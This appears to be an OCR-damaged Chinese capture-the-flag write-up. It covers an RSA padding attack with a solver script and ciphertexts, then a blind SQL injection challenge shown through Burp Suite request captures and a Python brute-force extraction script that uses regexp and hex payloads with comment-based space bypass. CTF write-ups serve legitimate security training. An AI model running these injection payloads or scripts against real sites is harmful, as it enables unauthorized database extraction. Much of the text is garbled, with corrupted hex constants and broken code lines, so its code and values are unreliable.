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1.easy_RSA

H Seit sk £ Padding Attack, _ERIZ:

import gmpy2
def getM2(a,b,cl,c2,n,e):
a3 = pow(a,e,n)

b3 = pow(b,e,n)

first = cl-a3*c2+2*b3
first = first % n
e*b*(a3*c2-b3)
second = second % n

second

third = second*gmpy2.invert(first,n)

third = third % n

fourth = (third+b)*gmpy2.invert(a,n)

return fourth % n

e=0x3

a=1

b=-1
c1=0x5f4e0328702208b215f39f1c8598b77074bfa238dfb9ced24af7cc8a61f7ead48ffbbd5a5elalof686c31240e85d011f6c8b96
Cc2=0x5f4e03128702208b21539f1c8598b77074bfa238dfb9ced24af7cc8ab61lf7ead8ffc5c26bOcl2bcffof6971274f59f0e55a147
padding2=1
n=0x9371c61a2b760109781f229d43c6f05b58de65aa2a674f192334cb5219132448d72c1293c145eb6+35e58791669f2d8d3b6ce50
m = getM2(a,b,cl,c2,n,e)-padding2

print hex(m)
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he key is :everything_is_easy_in_this_guestion
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= Dl.jpgdln paddins attackbd B one_time_cipherEd

i 1 280316470206017f5f16323460100b111b2c254103715600£13,
091b0f471d05153811122c70340c0111053a394200359500£0a18,
4638080al1e45243e55531a3e23161d411a36224044111£374409,
0e0d15470206017f59122935601405421d3a24410371560140F,
031a08080e1a540d62327f242517101d44=2b2807177£13280511,
0a090f001e451d2c1114d3024601405431a3623100832022c14d,
16000406080c543854077f24280144451c2a254093a0333051a,
02050701120a01334553393f32441d5e1b716027107£19334417,
131f15470800192f5d4167f352e07164812b29010a7139600c12,
16094112141c543c501d7f232f0812544e2b2807177£00320b1F,
0a0%0c470alcld3c5alf2670210a0011093a344103715600712,
141=04040f45153142043a22601711520d3a331d0826
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2.sql

B3 & Plcheck.php.

R RpostiEN, fuzz—F 2 J51i& LA T payload:

POST /check.php HTTP/1.1

Host: eci-2ze7rwkw5ezzihayugha.cloudecil.ichunqgiu.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: _ jsluid_h=4f2338cb6bf6a7336d47ec6f2c662acs

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 38

username=d\&password=or((1l)regexp(1))#

B INFEEN:



Raw | Headers | Hex | HTML | Render

hp HTTE/L.1 i HTTF/Ll.1l 200 OK
Trwkwiezzihayugha.cloudecil. ichungiu. com . Date: Sun, 23 May 2021 02:20:04 GHT
User-Agent: Mozilla/5.0 (Vindows MT 10.0; Winf4; xf4; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Type: text/html
Accept: text/html,application/xhtml+uml, application/xml: q=0.9, image/webp, */*:q=0.8 Content-Length: 4§&
Accept-Language: zh-CN,zh;q=0.8, zh-TW;g=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2 Connection: kesp-alive
Accept-Encoding: gzip, deflate ¥-Via-J5L: Ze2d3Z7,-
Connection: keep-alive X-Cache: bypass
Cookie: _ jsluid h=4f2338chEbffa7ilcd4T=cEficEElach
Upgrade-Insecure—Requests: 1 <p style="color:HFFFFFF">flag is not here!</p>
Contenc-Types: application/xz-wyw-form-urlencodsd
Content-Length: 38
username=d\ &passwvord=or ((l)regexpil) ) #
{Target Proxy | Spider I Scanner (Imruder I Repeater I Sequencer IDecuder I Comparer T Extender I Options | Alerts
1x[3x [4x[5x |6 x |7 x |8 x |sSi
Go C <|r
Raw | Params | Headers | Hex Raw | Headers | Hex
POST /check.php HTTR/1.1 A HTTP/1.1 200 OK
Host: eci-2 r

ze7rwkwhezzihayugha.cloudecil. ichungiu. com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml4xml, application/xml;q=0.9, image/webp, */*;q=0.8
Accept-Language: zh-CN, zh;q=0.8, zh-TW; g=0.7, zh-HK;q=0.5,en-US; ¢=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: _ jsluid_h=4fI338cbEbféaT33éd47ecEficEElacs

Upgrade-Insecure-Requests: 1

Content-Type: application/x-wwv-form-urlencoded

Content-Length: 38

username=d’ &épassword=or ( (1) regexpil) ) #

TRIZEEMER T —EFHEE.

B T B AR 3:

POST /check.php HTTP/1.1
Host: eci-2ze7rwkw5ezzihayugha.cloudecil.ichunqgiu.com

Date: Sun, 23 May 2021 0Z:19:3& GMT
Content-Typs: text/html
Content-Length: 53

Connsction: kes
¥-Via-Js Zd! -
¥-Cache: bypass

<p style="color:#FFFFFF">00000000</ p>

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: _ jsluid_h=4f2338cb6bf6a7336d47ec6f2c662acs
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
Content-Length: 55

username=d\&password=or((length(database()))regexp(3))#
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Attack Save Columns

J Results ITarget T Positions I Payloads T Options }

Ll

o . . -
. Filter: Showing all items U
| Request 4 | Payload | Status | Emor | Timeout | Length | Comment
dlo 200 J L] 212 baseline request [a]
ip ) 200 O O o 0
12 3 200 L] L] 205
a3 4 200 Ol | 212
74 5 200 O 0 212

5 6 200 Ol | 212
RIES [ 200 O O] 212
7 8 200 g 0 212

8 9 200 O O] 212

9 10 200 O ] 212 v

Request Respﬂnse]

J Raw T Headers T Hex T HTML I Render ]

Content-Type: text/html |L
Content-Length: 48

Connection: close

¥-Via-Jds5L: ZeZd3Z27,-

¥-Cache: bvypass

<p style="color:#FFFFFF">flag is not here!</p> |
v

? < + > Type a search term 0 matches

Finished | —

PREYE P 4418 B e 42 NCTF:

POST /check.php HTTP/1.1

Host: eci-2ze7rwkw5ezzihayugha.cloudecil.ichunqgiu.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: _ jsluid_h=4f2338cb6bf6a7336d47ec6f2c662acs

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 71

username=d\&password=or((strcmp(hex(LEFT(DATABASE(),3)),43548678§) )REGEXP(0) )#
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import requests
import time
def str2int(mystr):
i=20
myint = @
while (i < len(mystr)):
myint += ord(mystr[i]) * pow(pow(2, 8), len(mystr) - i - 1)
i+=1
return myint
sess = requests.Session()
url = "http://eci-2zea89kqgieujgo38pawk.cloudecil.ichungiu.com/index.php"
f = "KSHEEHER # HEANNIEGEAR
y = 'flag is not here' # EMEMIEEEAR
start = 0 # FHBMFHEFE
strlen = 80 # RBBFRFEMKE

sleep_time = 0

ostr = 'A'
# str2find = '(database())' # CTF
# str2find = 'password' # This_1s_thE_Passwerd
str2find = 'username’
# str2find='(select flag from flag)' # EEWKFME. 184); TREEIINES
# str2find='(select “2° from (select 1,2 union select * from user)a limit 1,1)’
for j in range(start, start+strlen):

for i in range(32, 127): # WREFKEH

# for i in range(95,127):#7 WFE/FTEHE

if i ==46 or i == 42 or i == 43 or i == 63 or i==94: # E&T—L4EHRFS ($ .

continue
time.sleep(sleep_time)
# regexp binary ©Ox5e61;
temp_str = ostr+chr(i)
ent = "{} regexp binary {}'.format(
str2find, hex(str2int(temp_str))) # fRFHWHFELIES

payload = "||{}#".format(ent) # ¥EANIEH
# print(payload)
# exit()
# datafiEERIME
data = {
‘username’: "\\',

'password': payload.replace(' ', '/**/")
}
sess.get(url)
res = sess.post(url, data=data)
res.encoding = res.apparent_encoding # 4G
text = res.text
if f in text:
continue
elif y in text:
ostr += chr(i)
print(ostr, j)
break
else: # BIdEEEWIERKIREER
print('error:', text)
break
print(ostr)
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